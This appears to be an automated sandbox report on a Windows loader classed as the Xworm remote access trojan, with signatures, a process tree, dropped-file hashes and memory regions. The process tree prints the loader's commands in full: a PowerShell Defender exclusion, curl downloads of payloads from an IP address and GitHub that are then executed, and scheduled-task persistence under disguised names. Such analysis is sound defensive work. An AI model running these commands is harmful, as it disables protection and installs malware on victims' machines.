Resubmissions

17-11-2024 12:44

241117-pyzmeazjez 10

Analysis

  • max time kernel
    62s
  • max time network
    69s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2024 12:44

General

  • Target

    srtware loader.exe

  • Size

    1.1MB

  • MD5

    de920407355f76c7ef087fafb1f8ae8c

  • SHA1

    73ec5917b60133981764f57939c576a5ea94c2d5

  • SHA256

    eedee87650ce6252c755af15d7065ca4292fc56dd5e848335dc8265ded837fc1

  • SHA512

    4278b11aab909a92157f0a3221ae775c12088e6464f7a8f63ac58c3d4df29327565a97147d3a0d9a9647f83783dba6db7935c22a70c393e4e603e2dda44d9112

  • SSDEEP

    24576:WLzpI+xRUz1EGES2zRP9RPVwzCBjzZg/amV8q2MBTZr5VlenU:6dxKNePXVKVLn1Vj

Malware Config

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • .NET Reactor proctector 8 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\srtware loader.exe
    "C:\Users\Admin\AppData\Local\Temp\srtware loader.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1500
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c curl http://79.110.49.246/didedba/abc -o %localappdata%/Temp/fff.scr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2904
      • C:\Windows\SysWOW64\curl.exe
        curl http://79.110.49.246/didedba/abc -o C:\Users\Admin\AppData\Local/Temp/fff.scr
        3⤵
          PID:5076
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c curl http://79.110.49.246/didedba/adderall -o %localappdata%/Temp/qqq.scr
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3968
        • C:\Windows\SysWOW64\curl.exe
          curl http://79.110.49.246/didedba/adderall -o C:\Users\Admin\AppData\Local/Temp/qqq.scr
          3⤵
            PID:408
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c curl http://79.110.49.246/didedba/write -o %localappdata%/Temp/ddd.scr
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3128
          • C:\Windows\SysWOW64\curl.exe
            curl http://79.110.49.246/didedba/write -o C:\Users\Admin\AppData\Local/Temp/ddd.scr
            3⤵
              PID:5048
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c curl https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o %localappdata%/Temp/srtware.exe
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4368
            • C:\Windows\SysWOW64\curl.exe
              curl https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\Admin\AppData\Local/Temp/srtware.exe
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2148
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c start %localappdata%/Temp/fff.scr
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2472
            • C:\Users\Admin\AppData\Local\Temp\fff.scr
              C:\Users\Admin\AppData\Local/Temp/fff.scr
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3480
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c start %localappdata%/Temp/qqq.scr
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4972
            • C:\Users\Admin\AppData\Local\Temp\qqq.scr
              C:\Users\Admin\AppData\Local/Temp/qqq.scr
              3⤵
              • Checks computer location settings
              • Drops startup file
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:916
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msnotify" /tr "C:\Users\Admin\AppData\Roaming\msnotify.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:1284
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c schtasks /create /tn "chromeupdatecc" /tr "%localappdata%\Temp\qqq.scr" /sc onstart /rl highest /f
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2844
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "chromeupdatecc" /tr "C:\Users\Admin\AppData\Local\Temp\qqq.scr" /sc onstart /rl highest /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:2184
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c ipconfig /flushdns
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1656
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /flushdns
              3⤵
              • System Location Discovery: System Language Discovery
              • Gathers network information
              PID:644
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c netsh winsock reset
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4184
            • C:\Windows\SysWOW64\netsh.exe
              netsh winsock reset
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2484
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c ping google.com
            2⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4832
            • C:\Windows\SysWOW64\PING.EXE
              ping google.com
              3⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3800
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c start %localappdata%/Temp/srtware.exe
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4200
            • C:\Users\Admin\AppData\Local\Temp\srtware.exe
              C:\Users\Admin\AppData\Local/Temp/srtware.exe
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: GetForegroundWindowSpam
              PID:1476
        • C:\Users\Admin\AppData\Roaming\msnotify.exe
          C:\Users\Admin\AppData\Roaming\msnotify.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1420

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwhjqh2e.mln.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\fff.scr

          Filesize

          323KB

          MD5

          74d6f32778a0b992a234c289177919cf

          SHA1

          57bd620963c82d6263c6b4cb4fe2e6142c7e219e

          SHA256

          69ebffe0e5a41ad4aca8de361d619a521feb1987c8139ff2d14e3c5ee8538371

          SHA512

          6652450ef46db88295152ffc1cccf50b09f1d87d94e75392a591120f3d0eb81d8cc51975e96b85ba927e1283545557fd2bc0196899cadd1293f280996ac6c10d

        • C:\Users\Admin\AppData\Local\Temp\qqq.scr

          Filesize

          1.1MB

          MD5

          36020c619abd90ea304426a74fbed6a9

          SHA1

          ea24acdb139fe6c17e2228faa1c2ed98650c5875

          SHA256

          5bc4cf7de8eb8c24597b7a3d9001827010923390c9fe49adee46bfd01ad639d5

          SHA512

          5ffb1d5021399091349c2e5b71a919d225bdc2bc59be18dbdfef0c7b3bc11ee8a93d9c57a0da49851cf1eebc6c77d09c4f4f82e4ffca004ad544f0d67eeca9a8

        • C:\Users\Admin\AppData\Local\Temp\srtware.exe

          Filesize

          407KB

          MD5

          e364a1bd0e0be70100779ff5389a78da

          SHA1

          dd8269db6032720dbac028931e28a6588fca7bae

          SHA256

          7c8798ab738b8648a5faa9d157c0711be645fabf49c355a77477fb8da5df360e

          SHA512

          ff2ebfe652cdace05243df45100d5f8e306f65a128ec0b5395d1cc7be429e1b4090f744860963ef9996f74bccee134f198e9a6b0ff14383a404c6e4c9e6ef338

        • memory/916-69-0x0000000003FB0000-0x0000000003FB6000-memory.dmp

          Filesize

          24KB

        • memory/916-78-0x0000000000930000-0x0000000000CE2000-memory.dmp

          Filesize

          3.7MB

        • memory/916-70-0x0000000008750000-0x00000000087EC000-memory.dmp

          Filesize

          624KB

        • memory/916-68-0x0000000000930000-0x0000000000CE2000-memory.dmp

          Filesize

          3.7MB

        • memory/916-67-0x0000000000930000-0x0000000000CE2000-memory.dmp

          Filesize

          3.7MB

        • memory/916-88-0x0000000006E50000-0x0000000006EE2000-memory.dmp

          Filesize

          584KB

        • memory/916-66-0x0000000000930000-0x0000000000CE2000-memory.dmp

          Filesize

          3.7MB

        • memory/916-89-0x0000000007AB0000-0x0000000008054000-memory.dmp

          Filesize

          5.6MB

        • memory/1420-82-0x0000000000F10000-0x00000000012C2000-memory.dmp

          Filesize

          3.7MB

        • memory/1420-81-0x0000000000F10000-0x00000000012C2000-memory.dmp

          Filesize

          3.7MB

        • memory/1420-85-0x0000000000F10000-0x00000000012C2000-memory.dmp

          Filesize

          3.7MB

        • memory/1500-9-0x00000000055F0000-0x0000000005656000-memory.dmp

          Filesize

          408KB

        • memory/1500-50-0x00000000073B0000-0x00000000073B8000-memory.dmp

          Filesize

          32KB

        • memory/1500-4-0x0000000004740000-0x0000000004776000-memory.dmp

          Filesize

          216KB

        • memory/1500-29-0x0000000074800000-0x0000000074FB0000-memory.dmp

          Filesize

          7.7MB

        • memory/1500-39-0x00000000062E0000-0x00000000062FE000-memory.dmp

          Filesize

          120KB

        • memory/1500-28-0x0000000070C60000-0x0000000070CAC000-memory.dmp

          Filesize

          304KB

        • memory/1500-27-0x0000000006300000-0x0000000006332000-memory.dmp

          Filesize

          200KB

        • memory/1500-40-0x0000000074800000-0x0000000074FB0000-memory.dmp

          Filesize

          7.7MB

        • memory/1500-41-0x0000000006F10000-0x0000000006FB3000-memory.dmp

          Filesize

          652KB

        • memory/1500-42-0x00000000076D0000-0x0000000007D4A000-memory.dmp

          Filesize

          6.5MB

        • memory/1500-43-0x0000000007090000-0x00000000070AA000-memory.dmp

          Filesize

          104KB

        • memory/1500-44-0x0000000007100000-0x000000000710A000-memory.dmp

          Filesize

          40KB

        • memory/1500-45-0x0000000007310000-0x00000000073A6000-memory.dmp

          Filesize

          600KB

        • memory/1500-46-0x0000000007290000-0x00000000072A1000-memory.dmp

          Filesize

          68KB

        • memory/1500-47-0x00000000072C0000-0x00000000072CE000-memory.dmp

          Filesize

          56KB

        • memory/1500-48-0x00000000072D0000-0x00000000072E4000-memory.dmp

          Filesize

          80KB

        • memory/1500-49-0x00000000073D0000-0x00000000073EA000-memory.dmp

          Filesize

          104KB

        • memory/1500-24-0x0000000005D40000-0x0000000005D8C000-memory.dmp

          Filesize

          304KB

        • memory/1500-53-0x0000000074800000-0x0000000074FB0000-memory.dmp

          Filesize

          7.7MB

        • memory/1500-23-0x0000000005D20000-0x0000000005D3E000-memory.dmp

          Filesize

          120KB

        • memory/1500-5-0x0000000074800000-0x0000000074FB0000-memory.dmp

          Filesize

          7.7MB

        • memory/1500-6-0x0000000004E50000-0x0000000005478000-memory.dmp

          Filesize

          6.2MB

        • memory/1500-17-0x00000000056D0000-0x0000000005A24000-memory.dmp

          Filesize

          3.3MB

        • memory/1500-7-0x0000000074800000-0x0000000074FB0000-memory.dmp

          Filesize

          7.7MB

        • memory/1500-10-0x0000000005660000-0x00000000056C6000-memory.dmp

          Filesize

          408KB

        • memory/1500-11-0x0000000074800000-0x0000000074FB0000-memory.dmp

          Filesize

          7.7MB

        • memory/1500-8-0x0000000004E20000-0x0000000004E42000-memory.dmp

          Filesize

          136KB

        • memory/3480-61-0x0000019480C60000-0x0000019480CB8000-memory.dmp

          Filesize

          352KB

        • memory/3484-0-0x0000000000E80000-0x00000000011FC000-memory.dmp

          Filesize

          3.5MB

        • memory/3484-22-0x0000000000E80000-0x00000000011FC000-memory.dmp

          Filesize

          3.5MB

        • memory/3484-26-0x000000007480E000-0x000000007480F000-memory.dmp

          Filesize

          4KB

        • memory/3484-3-0x00000000069F0000-0x00000000069F6000-memory.dmp

          Filesize

          24KB

        • memory/3484-2-0x0000000000E80000-0x00000000011FC000-memory.dmp

          Filesize

          3.5MB

        • memory/3484-1-0x000000007480E000-0x000000007480F000-memory.dmp

          Filesize

          4KB

        • memory/3484-94-0x0000000000E80000-0x00000000011FC000-memory.dmp

          Filesize

          3.5MB